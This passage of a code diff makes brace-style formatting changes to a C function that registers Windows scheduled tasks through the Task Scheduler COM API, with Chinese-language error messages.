pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc);
|
||||
SysFreeString(bDesc);
|
||||
pRegInfo->lpVtbl->Release(pRegInfo);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("获取注册信息失败,错误代码:%ld\n", hr);
|
||||
}
|
||||
|
||||
@@ -159,16 +157,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
}
|
||||
}
|
||||
pTrigger->lpVtbl->Release(pTrigger);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("无法设置任务触发器,错误代码:%ld\n", hr);
|
||||
pTask->lpVtbl->Release(pTask);
|
||||
pService->lpVtbl->Release(pService);
|
||||
CoUninitialize();
|
||||
return 6;
|
||||
}
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("获取任务触发失败,错误代码:%ld\n", hr);
|
||||
}
|
||||
|
||||
@@ -188,18 +184,15 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
pExecAction->lpVtbl->put_Path(pExecAction, path);
|
||||
SysFreeString(path);
|
||||
pExecAction->lpVtbl->Release(pExecAction);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("QueryInterface 调用失败,错误代码:%ld\n", hr);
|
||||
}
|
||||
pAction->lpVtbl->Release(pAction);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("创建任务动作失败,错误代码:%ld\n", hr);
|
||||
}
|
||||
pActionCollection->lpVtbl->Release(pActionCollection);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("获取任务动作失败,错误代码:%ld\n", hr);
|
||||
}
|
||||
|
||||
@@ -211,8 +204,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
||||
pPrincipal->lpVtbl->Release(pPrincipal);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
if (runasAdmin) Mprintf("获取任务权限失败,错误代码:%ld\n", hr);
|
||||
}
|
||||
|
||||
@@ -259,16 +251,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
}
|
||||
}
|
||||
pRegisteredTask->lpVtbl->Release(pRegisteredTask);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("注册计划任务失败,错误代码:%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No");
|
||||
}
|
||||
|
||||
VariantClear(&vUser);
|
||||
SysFreeString(bstrTaskName);
|
||||
pFolder->lpVtbl->Release(pFolder);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("获取任务目录失败,错误代码:%ld\n", hr);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user